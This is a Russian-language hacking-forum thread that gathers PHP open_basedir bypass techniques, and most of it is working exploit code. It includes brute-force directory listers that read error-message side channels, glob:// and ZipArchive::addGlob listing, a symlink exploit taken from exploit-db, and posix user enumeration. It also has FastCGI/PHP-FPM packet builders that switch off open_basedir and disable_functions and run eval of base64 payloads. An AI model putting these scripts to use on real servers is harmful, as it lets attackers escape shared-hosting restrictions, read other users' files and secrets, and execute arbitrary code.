Bypass Open_basedir

Discussion in 'Кухня' started by Baskin-Robbins, 22 Sep 2019.

  1. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    По мотивам https://rdot.org/forum/showthread.php?t=1043

    Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред.
    Вобщем что завелось у меня.

    Ну и сразу crlf подсказывает прикрепить ссыль на эту тему, ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен"

    Глава первая. Вспомнить всё...


    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    finfo_*
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------

    PHP:
    $finfo finfo_open(FILEINFO_MIME); $filename "/etc"var_dump(finfo_file($finfo$filename));
    Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории.

    Тест:
    7.0.26
    7.3.8-1


    ----------------------------------------------------------------------------------------------------------------------------------------------------------------
    Glob(). Разный результат для отсутствующих и существующих файлов.
    ----------------------------------------------------------------------------------------------------------------------------------------------------------------

    PHP:
    var_dump(glob('/etc/hosts'));
    var_dump(glob('/etc/does-not-exist'));
    отсутствует:
    array(0){}
    присутствует:
    bool(false)

    Тест:
    7.0.26
    7.3.8-1


    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    opendir()+readdir()+glob://
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    https://bugs.php.net/bug.php?id=73891

    Разные ошибки для существующих и отсутствующих директорий.
    Если использовать с glob:// то получим листинг.

    PHP:
    if ($dh opendir($_GET['dir'])) {
            while ((
    $file readdir($dh)) !== false) {
                echo 
    "$file\n";
            }
            
    closedir($dh);
        }
    Code:
    http://localhost/1.php?dir=glob:///*
    DirectoryIterator
    PHP:
    <?php
    printf
    ('open_basedir: %s </br>',ini_get('open_basedir'));
    $file_list = array();
    $it = new DirectoryIterator("glob:///*");
    foreach (
    $it as $f){
        
    $file_list[] = $f->__toString();
    }

    $it = new DirectoryIterator("glob:///.*");
    foreach (
    $it as $f){
        
    $file_list[] = $f->__toString();
    }
    sort($file_list);
    foreach (
    $file_list as $f){
        echo 
    "{$f}<br/>";
    }
    Тест:
    7.0.26
    7.3.8-1


    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Не баг, а фича - функции posix_*
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://bugs.php.net/bug.php?id=16733

    PHP:
    <?php
    $bla 
    = @posix_getpwuid(0);
    echo 
    $bla['dir'];
    ?>
    PHP:
     <?
        for ($i = 0; $i < 60000; $i++)
          {
            if (($tab = @posix_getpwuid($i)) != NULL)
              {
                echo $tab['name'].":";
                echo $tab['passwd'].":";
                echo $tab['uid'].":";
                echo $tab['gid'].":";
                echo $tab['gecos'].":";
                echo $tab['dir'].":";
                echo $tab['shell']."<br>";
              }
          }
    ?> 
    Тест:
    7.0.26
    7.3.8-1


    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    imap_open()
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    https://bugs.php.net/bug.php?id=37265

    PHP:
    $string '/etc'imap_open($string"""");
    Снова разница в ошибках.
    Тест:
    7.3.8-1

    PHP:
    <?php
        $windows 
    false;
        
    $alphabet 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
        
    $alphabet_len strlen($alphabet);
        
    $maxlength 3;
        
    $path '/';
     
        
    $regexp "/File\((.*)\) is not within/";
        
    $files = array();
        
    $s = array();
     
        
    error_reporting(0);
        
    set_error_handler("eh");
        function 
    eh($errno$errstr$errfile$errline) {
            global 
    $regexp,$files,$windows;
            
    preg_match($regexp,$errstr,$o);
            if(isset(
    $o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) {
                if(!
    in_array($o[1],$files))
                    
    $files[]=$o[1];
            }
        }
     
        echo 
    '<pre>open_basedir: ';
        if(
    ini_get('open_basedir'))
            echo 
    "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
        else
            echo 
    "<font color=\"green\">false</font>\n";
        echo 
    'Directory listing of '.$path."\n";
        while(
    count($s inc($s,0)) <= $maxlength) {
            
    check($s);
        }
        
    sort($files);
        foreach(
    $files as $file)
            echo 
    $file."\n";
        echo 
    "</pre>";
     
        function 
    check($s) {
            global 
    $alphabet,$path,$windows;
            
    $str 'a';
            for(
    $i 0$i count($s); $i++) {
                
    $str[$i] = $alphabet[$s[$i]];
            }
            if(
    $windows)
                
    imap_open($path.$str."<<""""");
            else
                
    imap_open($path.$str"""");
        }
     
        function 
    inc($s,$i) {
            global 
    $alphabet_len;
            if(!isset(
    $s[$i])) {
                
    $s[$i] = 0;
                return 
    $s;
            }
            if(
    $s[$i] + == $alphabet_len) {
                
    $s[$i] = 0;
                
    $s inc($s,$i+1);
            } else {
                
    $s[$i]++;
            }
            return 
    $s;
        }
    ?>

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Realpath().
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://bugs.php.net/bug.php?id=41492

    Тест:
    7.0.26
    7.3.8-1

    PHP:
    <?php
        
    #PHP <= 5.3.6 realpath open_basedir bypass, Directory Listing
        #By BF, 18.06.11

        
    $windows false#For windows (https://rdot.org/forum/showthread.php?t=926) (http://onsec.ru/onsec.whitepaper-02.eng.pdf)
        
    $alphabet 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
        
    $alphabet_len strlen($alphabet);
        
    $maxlength 3;
        
    $path '/';
     
        
    $regexp "/File\((.*)\) is not within/";
        
    $files = array();
        
    $s = array();
     
        
    error_reporting(0);
        
    set_error_handler("eh");
        function 
    eh($errno$errstr$errfile$errline) {
            global 
    $regexp,$files,$windows;
            
    preg_match($regexp,$errstr,$o);
            if(isset(
    $o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) {
                if(!
    in_array($o[1],$files))
                    
    $files[]=$o[1];
            }
        }
     
        echo 
    '<pre>open_basedir: ';
        if(
    ini_get('open_basedir'))
            echo 
    "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
        else
            echo 
    "<font color=\"green\">false</font>\n";
        echo 
    'Directory listing of '.$path."\n";
        while(
    count($s inc($s,0)) <= $maxlength) {
            
    check($s);
        }
        
    sort($files);
        foreach(
    $files as $file)
            echo 
    $file."\n";
        echo 
    "</pre>";
     
        function 
    check($s) {
            global 
    $alphabet,$path,$windows;
            
    $str 'a';
            for(
    $i 0$i count($s); $i++) {
                
    $str[$i] = $alphabet[$s[$i]];
            }
            if(
    $windows)
                
    realpath($path.$str."<<");
            else
                
    realpath($path.$str);
        }
     
        function 
    inc($s,$i) {
            global 
    $alphabet_len;
            if(!isset(
    $s[$i])) {
                
    $s[$i] = 0;
                return 
    $s;
            }
            if(
    $s[$i] + == $alphabet_len) {
                
    $s[$i] = 0;
                
    $s inc($s,$i+1);
            } else {
                
    $s[$i]++;
            }
            return 
    $s;
        }
    ?>

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    include - разница в ошибках.
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Тест:
    7.3.8-1

    PHP:
    <?php
     ini_set
    ('display_errors'1);
     
    ini_set('display_startup_errors',1);
     
    ini_set('error_reporting'E_ALL);
     
    ini_set('log_errors'0);
     
    ini_set('html_errors',0);
     
    ini_set('max_execution_time',0);

     
    $alphabet 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
     
    $alphabet_len strlen($alphabet);
     
    $maxlength 3;
     
    $str '';

     
    $dir '../';
     if (isset(
    $_GET['dir'])) {
         
    $dir $_GET['dir'];
     }

     
    $ext '';
     if (isset(
    $_GET['ext'])) {
         
    $ext $_GET['ext'];
         if (isset(
    $ext[0]) && $ext[0] != '.') {
             
    $ext '.'.$ext;
         }
     }

     function 
    inc($s,$i) {
         global 
    $alphabet_len;
         if(!isset(
    $s[$i])) {
             
    $s[$i] = 0;
             return 
    $s;
         }
         if(
    $s[$i] + == $alphabet_len) {
             
    $s[$i] = 0;
             
    $s inc($s,$i+1);
         } else {
             
    $s[$i]++;
         }
         return 
    $s;
     }

     function 
    check2($s) {
         global 
    $str,$alphabet,$ext;
         
    $str 'a';
         for(
    $i 0$i count($s); $i++) {
             
    $str[$i] = $alphabet[$s[$i]];
         }
         include 
    $str.$ext;
     }
     
     function 
    eh($errno$errstr$errfile$errline) {
         global 
    $str$ext;
         if (
    substr_count($errstr'open_basedir restriction') > 0) {
           echo 
    $str.$ext.'<br/>';
         }
     }

     
    set_error_handler("eh");

     echo 
    'open_basedir = '.ini_get('open_basedir').'<br>';
     echo 
    'include_path = '.ini_get('include_path').'<br>';
     echo 
    'set include_path = '.$dir.'<br>';
     
    ini_set('include_path'$dir);
     echo 
    'include_path = '.ini_get('include_path').'<br>';

     
    $s = array();
     while(
    count($s inc($s,0)) <= $maxlength) {
         
    check2($s);
     }

    echo 
    '<br>end';

    ?>


    Глава вторая. Окей, гугл!



    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Is_dir().
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    https://bugs.php.net/bug.php?id=69240

    PHP:
    var_dump(is_dir("/etc/passwd"));
    var_dump(is_dir("/etc/passwd2"));
    Тест:
    7.0.26
    7.3.8-1

    PHP:
     <?php

        $windows 
    false;
        
    $alphabet 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
        
    $alphabet_len strlen($alphabet);
        
    $maxlength 3;
        
    $path '/';
     
        
    $regexp "/File\((.*)\) is not within/";
        
    $files = array();
        
    $s = array();
     
        
    error_reporting(0);
        
    set_error_handler("eh");
        function 
    eh($errno$errstr$errfile$errline) {
            global 
    $regexp,$files,$windows;
            
    preg_match($regexp,$errstr,$o);
            if(isset(
    $o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) {
                if(!
    in_array($o[1],$files))
                    
    $files[]=$o[1];
            }
        }
     
        echo 
    '<pre>open_basedir: ';
        if(
    ini_get('open_basedir'))
            echo 
    "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
        else
            echo 
    "<font color=\"green\">false</font>\n";
        echo 
    'Directory listing of '.$path."\n";
        while(
    count($s inc($s,0)) <= $maxlength) {
            
    check($s);
        }
        
    sort($files);
        foreach(
    $files as $file)
            echo 
    $file."\n";
        echo 
    "</pre>";
     
        function 
    check($s) {
            global 
    $alphabet,$path,$windows;
            
    $str 'a';
            for(
    $i 0$i count($s); $i++) {
                
    $str[$i] = $alphabet[$s[$i]];
            }
            if(
    $windows)
                
    is_dir($path.$str."<<");
            else
                
    is_dir($path.$str);
        }
     
        function 
    inc($s,$i) {
            global 
    $alphabet_len;
            if(!isset(
    $s[$i])) {
                
    $s[$i] = 0;
                return 
    $s;
            }
            if(
    $s[$i] + == $alphabet_len) {
                
    $s[$i] = 0;
                
    $s inc($s,$i+1);
            } else {
                
    $s[$i]++;
            }
            return 
    $s;
        }
    ?> 

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Bindtextdomain
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Существует:
    string(4) "/etc"
    Отсутствует:
    bool(false)

    Тест:
    7.0.26
    7.3.8-1

    PHP:
    <?php
    printf
    ('<b>open_basedir: %s</b><br />'ini_get('open_basedir'));
    $re bindtextdomain('xxx'$_GET['dir']);
    var_dump($re);
    ?>

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    SplFileInfo + getRealPath
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Аналогично
    Существует:
    string(4) "/etc"
    Отсутствует:
    bool(false)

    Тест:
    7.0.26
    7.3.8-1

    PHP:
    <?php
    echo '<b>open_basedir: ' ini_get('open_basedir') . '</b><br />';
    $info = new SplFileInfo($_GET['dir']);
    var_dump($info->getRealPath());
    ?>


    Глава третья. Самое вкусное...



    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    ZipArchive->addGlob
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Тест:
    7.3.8-1

    PHP:
     <?php
        
    # ZipArchive->addGlob open_basedir bypass, Directory Listing, by BlackFan
        # 20.12.11
     
        
    if(stripos(PHP_OS,'win') !== FALSE)
            die(
    'Windows glob does not support negative character classes');
     
        if(!
    class_exists('ZipArchive'))
            die(
    'Class ZipArchive not found');
     
        
    $starttime microtime(true);
        
    $dir "/";
        
    $R false;
        
    $regexp "/File\((.*)\) is not within/";
        if(isset(
    $_GET['dir'])) $dir = ((string)$_GET['dir']);
        if(isset(
    $_GET['R']) and $_GET['R'] == 'on'$R true;
        
    $dir $dir.((substr($dir,-1) == '/') ? '' '/');

        echo 
    "<head><title>open_basedir bypass, Directory Listing, by BlackFan</title></head>";

        echo 
    "<form method='GET'>";
        echo 
    "Directory (absolute path): <input type='text' name='dir' size='60' value='{$dir}'>";
        echo 
    "<input type='checkbox' name='R' ".(($R)?"checked='checked'":"")."> -R ";
        echo 
    "<input type='submit' value='ls'></form>";

        echo 
    "<HR>";
     
        
    $glob_dirs = array();
        
    $dirs = array();
        
    $files = array();
        
    $lastfile '';
        
    $tmp_zip_name "openbd.zip";
     
        
    $z = new ZipArchive();
        
    $z->open($tmp_zip_name,ZIPARCHIVE::CREATE);
     
        
    set_error_handler("error_handler");

        
    $patterns_queue = array('*','.*');
        
    $checked_chars = array();
        
    $count 0;
        do {
            
    $lastfile '';
            
    $z->addGlob($dir.array_shift($patterns_queue)."*",GLOB_MARK);
     
            if(
    $lastfile !== '') {
                
    $is_dir = (substr($lastfile,-1) === '/');
                if((
    $R or !$is_dir) and substr($lastfile,-3) !== '../') {
                    
    array_push($patterns_queue,$lastfile.'?');
                    if(
    $is_dir) {
                        
    array_push($patterns_queue,$lastfile.'.*');
                    }
                }
     
                
    $lenlf strlen($lastfile);
                for(
    $i 1$i <= $lenlf$i++) {
                    
    $plf substr($lastfile,0,$lenlf-$i);
                    
    $lclf $lastfile[$lenlf-$i];
                    if(!isset(
    $checked_chars[$plf]) or !in_array($lclf,$checked_chars[$plf]))
                        
    $checked_chars[$plf][] = $lclf;
                    
    $new_pattern $plf.'[^'.implode($checked_chars[$plf]).']';
                    if(!
    in_array($new_pattern,$patterns_queue))
                        
    array_push($patterns_queue,$new_pattern);
                }
            }
            
    $count++;
        } while(
    count($patterns_queue) !== 0);
     
        unset(
    $glob_dirs);
        
    sort($dirs);
        
    sort($files);

        echo 
    "<pre>";
        if(
    count($dirs) !== or count($files) !== 0) {
            foreach(
    $dirs as $item) {
                
    $fp $dir.$item;
                if(
    substr($item,-3) == '../') {
                    
    $tmp substr(($fp),0,strpos($fp,'/../'));
                    
    $tmp substr($tmp,0,strrpos($tmp,'/'));
                    echo 
    "<a href='?dir={$tmp}'>{$item}</a><br>";
                } else {
                    echo 
    "<a href='?dir={$fp}'>{$item}</a><br>";
                }
            }
            foreach(
    $files as $item) {
                echo 
    $item."<br>";
            }
        } else {
            echo 
    "Access denied or open_basedir = Off, <a href='javascript:history.back()'>back</a>";
        }
        echo 
    "\n\n$count glob iteration";
          echo 
    "\n".(count($dirs)+count($files))." files";

        
    $z->close();
        if(
    file_exists($tmp_zip_name))
            
    unlink($tmp_zip_name);

        echo 
    "\nTime: ".(microtime(true) - $starttime)." seconds";
        echo 
    "</pre>";

        function 
    error_handler($errno$errstr$errfile$errline){
            global 
    $glob_dirs$regexp$lastfile$dir$dirs$files;
            
    preg_match($regexp,$errstr,$o);
            if(isset(
    $o[1])){
                
    $lastfile substr($o[1],strpos($o[1],$dir)+strlen($dir));
                if(!
    in_array($lastfile,$glob_dirs)) {
                    
    $glob_dirs[] = $lastfile;
                    if(
    substr($lastfile,-1) == '/')
                        
    $dirs[] = $lastfile;
                    else
                        
    $files[] = $lastfile;
                } else {
                    
    $lastfile '';
                }
            }
        }
    ?> 

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Symlink() - отработало без вопросов.
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Тест:
    7.3.8-1

    Эксплоит взят с https://www.exploit-db.com/exploits/10557
    PHP:
    <?php

    $fakedir
    ="cx";
    $fakedep=16;

    $num=0// offset of symlink.$num

    if(!empty($_GET['file'])) $file=$_GET['file'];
    else if(!empty(
    $_POST['file'])) $file=$_POST['file'];
    else 
    $file="";

    echo 
    '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a
    href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs.
    Author : Maksymilian Arciemowicz
    <p>Script for legal use only.
    <p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
    <p>More: <a href="http://securityreason.com/">SecurityReason</a>
    <p><form name="form"
     action="http://'
    .$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';

    if(empty(
    $file))
        exit;

    if(!
    is_writable("."))
        die(
    "not writable directory");

    $level=0;

    for(
    $as=0;$as<$fakedep;$as++){
        if(!
    file_exists($fakedir))
            
    mkdir($fakedir);
        
    chdir($fakedir);
    }

    while(
    1<$as--) chdir("..");

    $hardstyle explode("/"$file);

    for(
    $a=0;$a<count($hardstyle);$a++){
        if(!empty(
    $hardstyle[$a])){
            if(!
    file_exists($hardstyle[$a]))
                
    mkdir($hardstyle[$a]);
            
    chdir($hardstyle[$a]);
            
    $as++;
        }
    }
    $as++;
    while(
    $as--)
        
    chdir("..");

    @
    rmdir("fakesymlink");
    @
    unlink("fakesymlink");

    @
    symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

    // this loop will skip allready created symlinks.
    while(1)
        if(
    true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file"symlink".$num))) break;
        else 
    $num++;

    @
    unlink("fakesymlink");
    mkdir("fakesymlink");

    die(
    '<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

    ?>
     
    #1 Baskin-Robbins, 22 Sep 2019
    Last edited: 22 Sep 2019
    seostock, joelblack, sysjuk and 2 others like this.
    1. crlf

      crlf Green member

      Joined:
      18 Mar 2016
      Messages:
      683
      Likes Received:
      1,513
      Reputations:
      460
      Молодец, что собрал в одном месте, но стоит отделить/категоризировать треш типа true/false от действительно полезныйх байпасов (symlink, glob:///*), где можно свободно листить диры и читать файлы.

      На PHP 7.3.7 (FPM + Nginx) не работает :(

      Пользуясь случаем, дополню треш подборку булевых байпасов своими находками:

      PHP:
      <?php
      error_reporting
      (E_ALL);
      ini_set('display_errors'true);
      ini_set('open_basedir''/home/');

      mysqli_connect(NULL0000'/etc/passwd');
      mysqli_connect(NULL0000'/etc/xxxpasswd');

      mysqli_real_connect(mysqli_init(), NULL0000,'/etc/passwd');
      mysqli_real_connect(mysqli_init(), NULL0000,'/etc/xxxpasswd');

      var_dump(opcache_invalidate('/etc/passwd')); //bool(true)
      var_dump(opcache_invalidate('/etc/xxxpasswd')); //bool(false)

      openssl_x509_checkpurpose(NULLNULL, ['/etc/passwd']);
      openssl_x509_checkpurpose(NULLNULL, ['/etc/xxxpasswd']);


      set_include_path('/etc/');
      include(
      'passwd');

      set_include_path('/etcxxx/');
      include(
      'passwd');


      fsockopen("unix:///etc/passwd"NULL$errno$errstr30);
      fsockopen("unix:///etc/xxxpasswd"NULL$errno$errstr30);

      stream_socket_client("unix:///etc/passwd"$errno$errstr30);
      stream_socket_client("unix:///etc/xxxpasswd"$errno$errstr30);

      var_dump(stream_resolve_include_path("/etc/passwd"));
      var_dump(stream_resolve_include_path("/etc/xxxpasswd"));
       
      fandor9 and Baskin-Robbins like this.
      1. Baskin-Robbins

        Baskin-Robbins Reservists Of Antichat

        Joined:
        15 Sep 2018
        Messages:
        239
        Likes Received:
        809
        Reputations:
        212
        Спасибо за замечание, спустил их в самый низ. Что касается glob:///* то он так и не захотел спускаться ниже /* , впрочем как будет время помучаю его. А вот симлинк + зипархив да, отработали как надо.
        Наверно важно в таком случае отметить что тестилось мной на mod_php.
         
        seostock and crlf like this.
        1. crlf

          crlf Green member

          Joined:
          18 Mar 2016
          Messages:
          683
          Likes Received:
          1,513
          Reputations:
          460
          Так ниже некуда, если мы про линь говорим, то он уже корень листит. Может в шиндовсе иное поведение, хз :(

          Ага, так будет вернее, может кто-то дотестит ещё. А для локальных кейсов с FPM, все эти свистопляски не нужны.

          Ну и линк на эту тему вконце не повредит, т.к. имея выполнение команд, байпасс бейсдира не сильно нужен :)
           
          Baskin-Robbins likes this.
          1. Baskin-Robbins

            Baskin-Robbins Reservists Of Antichat

            Joined:
            15 Sep 2018
            Messages:
            239
            Likes Received:
            809
            Reputations:
            212
            я имел ввиду что /etc/* /var/* уже не хочет почему-то, что кст касается и других вариантов - /etc и тд брутит, а вот /etc/* ошибки не изменяются соответственно и брут уже не катит
             
            seostock and crlf like this.
            1. crlf

              crlf Green member

              Joined:
              18 Mar 2016
              Messages:
              683
              Likes Received:
              1,513
              Reputations:
              460
              Кстати да, что-то обламывается. Но смутно помнится какой-то кейс, где glob отрабатывал, возможно что-то путаю :(
               
              l1ght and Baskin-Robbins like this.
              1. Baskin-Robbins

                Baskin-Robbins Reservists Of Antichat

                Joined:
                15 Sep 2018
                Messages:
                239
                Likes Received:
                809
                Reputations:
                212
                Каким-то странным образом пропустил такую вот интересную штуку
                https://bugs.php.net/bug.php?id=70134
                В данном случае нам позволяют не только листить диры, но и читать файлы за бэйздиром
                Соответственно важно чтобы fpm крутился на 9000 порту
                Протестировано на apache + php-fpm 7.3
                +1 в копилочку нормальных байпасов
                poc прикрепляю как есть
                PHP:
                <?php
                ini_set
                ('error_reporting',E_ALL);
                ini_set('display_errors',1);
                ini_set('display_startup_errors',1);
                echo 
                'START ';
                echo 
                ini_get('open_basedir');
                echo 
                file_get_contents('/etc/passwd');
                echo 
                ' END';
                echo 
                '<br/>';

                if (isset(
                $_GET['stop'])) exit;

                $params = array();
                $params['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];
                $params['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];
                $params['REQUEST_METHOD'] = 'GET';
                $params['QUERY_STRING'] = 'stop=true';
                $params['PHP_VALUE'] = 'open_basedir=/';

                $params_encoded '';
                foreach (
                $params as $k=>$v) {
                    
                $params_encoded.= chr(strlen($k)).chr(strlen($v)).$k.$v;
                }

                $len strlen($params_encoded);
                $len_encoded chr($len >> 8).chr($len 255);

                $fp fsockopen('127.0.0.1',9000);
                fwrite($fp"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00");
                fwrite($fp"\x01\x04\x00\x01".$len_encoded."\x00\x00".$params_encoded);
                fwrite($fp"\x01\x04\x00\x01\x00\x00\x00\x00");
                fwrite($fp"\x01\x05\x00\x01\x00\x00\x00\x00");
                sleep(2);
                $result '';
                while (!
                feof($fp)) {
                  
                $result .= fread($fp1024);
                }
                fclose($fp);

                $matches = array();
                preg_match('/START.*END/s'$result$matches);
                echo 
                $matches[0];
                ?>
                 
                seostock and crlf like this.
                1. crlf

                  crlf Green member

                  Joined:
                  18 Mar 2016
                  Messages:
                  683
                  Likes Received:
                  1,513
                  Reputations:
                  460
                  Я подумал, что все в курсе ещё с rdot-а :) Вроде первая реализация была от @d0znpp, но мне больше нравится вариант от @dharrya:
                  PHP:
                  <?php
                  function sendRequest($host$port 0$packet "") {
                      
                  $body '';
                      
                  $headers '';
                      
                  $errno '';
                      
                  $errstr '';
                      
                  $timeout 1;
                      if(
                  $port 0)
                          
                  $host "tcp://${host}:${port}/";
                      else
                          
                  $host "unix://${host}";

                      
                  $connection stream_socket_client($host$errno$errstr$timeout);
                      if (
                  $connection) {
                          
                  stream_set_timeout($connection1);
                          
                  fputs($connection$packet);
                          while(!
                  feof($connection)) {
                              
                  $line fgets($connection4096);
                              if(
                  $line == "\r\n")
                                  break;

                              
                  $headers .= $line;
                          }

                          while(!
                  feof($connection))
                              
                  $body .= fgets($connection4096);

                          
                  fclose($connection);
                          if (
                  strpos($headers'Primary script unknown') !== false || strpos($headers'Status: 404 Not Found') !== false) {
                              echo 
                  "Test failed:(\n";
                              echo 
                  $headers;
                          } else {
                              echo 
                  "Successful\n";
                              
                  var_dump($headers);
                              
                  var_dump($body);
                          }
                      } else {
                          echo 
                  "no connection:`(";
                      }
                  }

                  function 
                  initializeParams($id$params = array()){
                      
                  $type 4;
                      
                  $data "";

                      foreach (
                  $params as $key => $value) {
                          
                  $data .= pack("CN",strlen($key),(1<<31) | strlen($value));
                          
                  $data .= $key;
                          
                  $data .= $value;
                      }

                      return 
                  to_s(
                          
                  $id,
                          
                  $type,
                          
                  $data
                      
                  );
                  }

                  function 
                  to_s($id$type$data ""){
                      
                  $packet sprintf("\x01%c%c%c%c%c%c\x00",
                          
                  $type,
                          
                  $id 256$id 256,
                          
                  strlen($data) / 256strlen($data) % 256,
                          
                  strlen($data) % 8
                      
                  );
                   
                      
                  $packet .= $data;
                      
                  $packet .= str_repeat("\x00",(strlen($data) % 8));
                      return 
                  $packet;
                  }

                  function 
                  buildPacket($payload "echo 'OK';"$scriptFile "/usr/share/php/PEAR.php") {
                      
                  $payload base64_encode($payload);
                      
                  $packet "";
                      
                  $packet .= to_s(1,1,"\x00\x01\x00\x00\x00\x00\x00\x00");
                      
                  $packet .= initializeParams(1,
                          array(
                              
                  "REQUEST_METHOD" => "GET",
                              
                  "SERVER_PROTOCOL" => "HTTP/1.1",
                              
                  "GATEWAY_INTERFACE" => "CGI/1.1",
                              
                  "SERVER_NAME" => "localhost",
                              
                  "HTTP_HOST" => "localhost",
                              
                  "REMOTE_ADDR" => "127.0.0.1",
                              
                  "SCRIPT_FILENAME" => $scriptFile,
                              
                  "PHP_ADMIN_VALUE" => join("\n", [
                                  
                  "allow_url_fopen=On",
                                  
                  "allow_url_include=On",
                                  
                  "disable_functions=Off",
                                  
                  "open_basedir=Off",
                                  
                  "short_open_tag=On",
                                  
                  "auto_prepend_file=data:,".urlencode("<?=eval(base64_decode('${payload}'));?>")
                              ])
                          )
                      );
                      
                  $packet .= to_s(1,4);
                      
                  $packet .= to_s(1,5);

                      return 
                  $packet;
                  }

                  $packet buildPacket('echo "OK!";');
                  sendRequest('localhost'9000$packet);
                  open_basedir и diasble_functions просто перезаписываются. Скрипт может в HTTP/SOCK.
                   
                  #8 crlf, 23 Dec 2019
                  Last edited: 23 Dec 2019
                  dooble and Baskin-Robbins like this.
                  1. crlf

                    crlf Green member

                    Joined:
                    18 Mar 2016
                    Messages:
                    683
                    Likes Received:
                    1,513
                    Reputations:
                    460
                    При использовании общего опкеша, можно почитать чужие секретики.

                    Bypass open_basedir with opcache
                    https://bugs.php.net/bug.php?id=79560
                     
                    dooble and Baskin-Robbins like this.